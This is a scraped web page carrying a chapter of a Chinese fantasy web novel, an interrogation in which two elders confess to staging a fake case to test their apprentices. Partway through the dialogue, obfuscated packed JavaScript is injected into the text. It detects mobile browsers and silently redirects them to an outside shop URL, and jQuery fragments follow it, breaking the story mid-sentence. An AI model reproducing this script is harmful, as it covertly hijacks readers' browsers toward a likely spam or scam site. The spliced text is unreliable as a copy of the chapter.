默认冷灰
24号文字
方正启体

19. 假案

作者:茶枫淮本书字数:K更新时间:
    原本赤蜂是想速战速决,赶紧审完赶紧完事,但瞧着江叙那惨白的脸色,走路脚步都显得虚浮,无奈之下,她还是叫来医生给江叙简单处理了伤口。


    其实伤口都是小事,江叙都不太在意。


    他知道自己命硬,每次都在濒死边缘擦着鬼门关回来,从来真死不了。


    就像小时候,姜禾生让他站在窗沿挂腊肉,他不慎从三楼摔下去,那样凶险的境地,竟被树枝中途挂住,只折了一条手臂。


    有时候江叙自己都觉得玄乎,要不是平时倒霉事居多,他都要怀疑自己跟阎王是不是沾亲带故。


    比起伤口,阴气侵体才是难以忍受的。


    以往江叙都只能硬熬,熬到侵体阴气散尽,整个过程没有一个月下不来。


    但现在不同,现在身边有个纯阳之体,只要谢景执待在他的身边,那些刺骨的阴冷就会缓和很多。


    所以,审讯室里每个人都是单独分开坐的,只有江叙和谢景执挤在同一张沙发上。


    ……


    赤蜂没骗他们,审讯室的沙发确实是真皮的,坐上去又软又陷,两人一挤,距离近得几乎肩贴着肩。


    审讯室的摆设很简约,以纯白为主,只有两张沙发,两个凳子,以及三张桌子,室内隔音极好,外面的雨声一丝也听不见,只有墙壁上时钟秒针跳动的细微声响。


    赤蜂面对姜禾生和谢鸿远坐下,稍稍等了一会,审讯室的门被拉开,走进一个约摸十六七岁的少女。


    她咬着棒棒糖,手里拿的是文件夹,她进来先是扫了众人一眼,而后才蹦蹦跳跳地朝赤蜂走去。


    “上官姐,我来晚了,但是我有理由。”


    赤蜂接过她手中的文件夹,示意她坐:“理由待会写在检讨上,我不是跟你说过,有外人在,叫代号。”


    “好吧,赤蜂姐。”少女撇撇嘴,嘎嘣一声咬碎棒棒糖,将棍子丢进垃圾桶,问道,“现在开始吗?”


    赤蜂摁开录音笔,姿态放松地靠在椅背上:“现在开始,我问,你负责记录。”


    “收到。”


    赤蜂指尖翻转,从文件夹里拈出一张纸,展开给姜禾生几人,问道:“咱们就开门见山吧,陈伟和王丽的那份假案卷,是你们策划的?”


    姜禾生和谢鸿远点了点头。


    一旁的谢景执忍不住瞪了瞪眼。


    他有想过这里边谢鸿远动了手脚,但是却没想到,整个案卷都是假的。


    既然是假的,那还查个什么劲。


    赤蜂继续问:“谁是主谋?”


    姜禾生指了指旁边的谢鸿远:“他。”


    赤蜂道:“案卷真实度有多少?”


    谢鸿远答道:“我也不清楚,但我们原本的打算是全假。”


    赤蜂扬眉:“案卷上的司印哪来的?”


    谢鸿远脸上露出为难神色:“呃……司印是假的,有细微差别,就是拿来骗骗孩子。”


    闻言,江叙愣怔一瞬,侧头看向谢景执:“我现在才想起来,你的那个案卷,司印去哪了?”


    谢景执无奈:“单独印在最后一页呢,老谢说司印他的保管着,都没给我。”


    江叙:“……”


    赤蜂颔首,又问:“捏造这个假案,目的是什么?”


    谢鸿远看一眼姜禾生,组织了一会语言,才叹息一声道:“一开始我们真没想那么复杂……”


    谢鸿远一开始的确没想到事情能发展成这个地步。


    而这件意料之外的事,一切都要从三个月前,姜禾生终于从昏迷中醒来说起。


    ……


    当年事发后第四天,谢鸿远终于在下游找到了气若游丝的姜禾生。


    当时的谢鸿远都快被吓成了孙子,联合沈家请了北弦最好的医生,秘密治疗之后才保住姜禾生一条命。


    他原本以为医生口中“昏迷一阵子”真是一阵子,一天,两天,一周两周,顶多几个月。


    但却不曾想,姜禾生居然整整昏迷了四年。


    所幸医生们确定姜禾生会醒,否则谢鸿远都打算真的给他销户。


    那年安济局的案子闹的沸沸扬扬,姜禾生坠崖后不少人都在打探他的消息,谢鸿远只能花重金买通了缉灵司分司的小官员,以“好友离世不愿意再让活人打扰”为由,办了一个假的死亡证明,对外声称姜禾生已经离世。


    虽然知道骗不过赤蜂那群人,但至少可以拦住一些讨人厌的苍蝇。


    在这期间,江叙发疯一般寻找姜禾生的事情,谢鸿远也有所耳闻,但他知道,如果姜禾生醒过来,一定不会让江叙牵扯进那件事情,所以他只能瞒着。


    一瞒就是四年。


    直到一天下午,谢鸿远刚打发完缠着要学玄术的谢景执,推开荒山别墅二楼卧室房门,瞧见床上一向躺着的人居然坐了起来。


    谢鸿远站在门口瞪着他,愣了许久,才试探着喊了姜禾生的名字。


    姜禾生年纪大了,本来就耳背,再加上刚醒脑子也不太好使,愣是没听见,背对着他坐在床上一动不动。


    这把谢鸿远吓得够呛,以为是回光返照,冲过去想看他,结果刚迈开脚,姜禾生突然打了个哈欠。


    “什么破地方……这么冷。”


    谢鸿远:“……”


    已经太多年没有听到他的声音,谢鸿远感觉眼眶有点湿,他扬起手,一巴掌拍在姜禾生的背上,打得他一个趔趄。


    “老东西,一天到晚嫌这嫌那!早知道我就应该把你丢在那臭水沟里,泡烂了都没人知道!”


    姜禾生佝偻着腰,夸张地咳嗽着:“我靠,你这一巴掌,我要是没有几十年的功力,都接不下来——”


    两人哈哈笑了,然后抱头痛哭。


    两个老家伙哭够了,就开始分析起局势来。


    四年的时间可以发生太多事情,别的暂且不说,眼下当务之急,是要让姜禾生“活”过来。


    毕竟姜禾生现在的身份是个死人,如果要名正言顺的活过来,需要一个契机。


    老家伙们苦苦思索了三天三夜,也没能想到什么可行的办法。


    正一筹莫展之时,事情的转折,出现在管家老刘找到谢鸿远,说小谢少爷在谢鸿远不在的几天里根本没去公司,一直在和沈家少爷飙车泡吧。


    谢鸿远知道这是谢景执在示威,谢景执不愿意做商,他还惦记着跟姜禾生学玄术的那几年,因为刺激和新鲜。


    以前谢鸿远听到这个消息只会觉得头疼,但那一次,他突然灵光一现,反而心生一计。


    既然到处都是麻烦,不如将计就计,用麻烦解除麻烦。


    “……”


    “所以你们就演了这场戏?”


    赤蜂掏了掏耳朵,随意问道。


    “没错。”谢鸿远说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344953|199498||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,“我们原本是打算用假案逼退两个孩子,等陈伟和陈欣芮演完最后一场戏,我们就出来收场。”


    “案卷什么的都无所谓,但有人问起来当年坠崖的事情,姜禾生就能有个故意藏身,布置假案锻炼徒弟的借口。”


    说道这里,他抬眼看向赤蜂:“毕竟,当年的事情,实在不太好圆回去,说难听点,不就是缉灵司办案不周,连特请顾问都护不住。”


    此话一出,一直闷头写字的少女有些不乐意,出声提醒道:“谢叔叔,你说话还是要分分场合吧,录音笔还开着呢。”


    谢鸿远冷哼:“我想说什么就说什么,你们当年不就是因为心虚才没找我们麻烦吗?”


    少女无话辩解,只能朝赤蜂道:“他们怎么这样。”


    赤蜂倒觉得没什么,笑了笑,语气带了点严肃:“的确,是缉灵司的问题,不过涉及到安济局的案子,我们也确实有些不方便,这么多年……我们其实一直想向姜老先生赔个不是。”


    姜禾生摆了摆手:“别别别,我就是个野家子,受不起。”


    赤蜂点到为止:“那陈伟呢,为什么要找他们演这出戏?”


    谢鸿远“嘶”了一声:“这还真是个巧合,在我们决定办假案之前,陈伟就找过我一次,说是别墅不太平,想找我看看。”


    “闹邪祟不上报缉灵司,为什么要找你?”赤蜂问。


    “可能,我跟他比较熟?”谢鸿远猜测道,“那别墅区上一任负责人就是他老婆王莉,后来他老婆失踪,就由我接手了。”


    赤蜂点点头,示意他继续说下去。


    “我早就不干那行卖命买卖,而且我嫌麻烦,没接他的委托。”谢鸿远回忆道,“后来想办假案的时候,我就想到这茬,心想与其找不相干的人,还不如找陈伟。”


    “我跟姜禾生去那栋别墅简单驱了邪,然后就开始商量假案,陈伟那小子鬼主意多,我当时还感叹,读书人的脑子就是好用。”


    江叙原本一直安静听着,听到这里,他插了一句嘴:“所以,假案算是陈伟自己编的?”


    谢鸿远扭过头,肯定道:“都是他和他女儿编的。”


    谢景执:“他女儿还编了?”


    谢鸿远:“对啊,她女儿大学好像是学那个……表演?”


    江叙:“……”


    怪不得演的那么真,他还真看不出来什么端倪。


    江叙:“那李知夏呢?她是怎么回事?”


    姜禾生干咳两声:“闹鬼闹鬼,总得有只鬼吧?我还不知道你小子多难骗?没点真东西,你早看穿了。”


    赤蜂蹙了蹙眉:“所以,那只鬼是你们弄的?”


    两人没应声。


    少女转了转笔,笑眯眯开口:“驭鬼术?这可是禁术,用不得哦。”


    眼看着抵不了赖,姜禾生双手一摊:“我就用了怎么着吧,而且知夏大妹子也是自愿的,还谈不上驭鬼术。”


    江叙:“李知夏……你们是怎么找到她的?”


    姜禾生:“你小子又不好好听讲,刚刚老谢不是说过了,这案子都是陈伟和他女儿编的吗?”


    “那李知夏也是陈伟找的?”


    姜禾生没有否认:“既然是假案,那我再怎么也要保证你们安全,所以我得找只脾气好,不伤人的鬼。本来不好找,结果陈伟一听,第二天就把李知夏的名字报上来了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)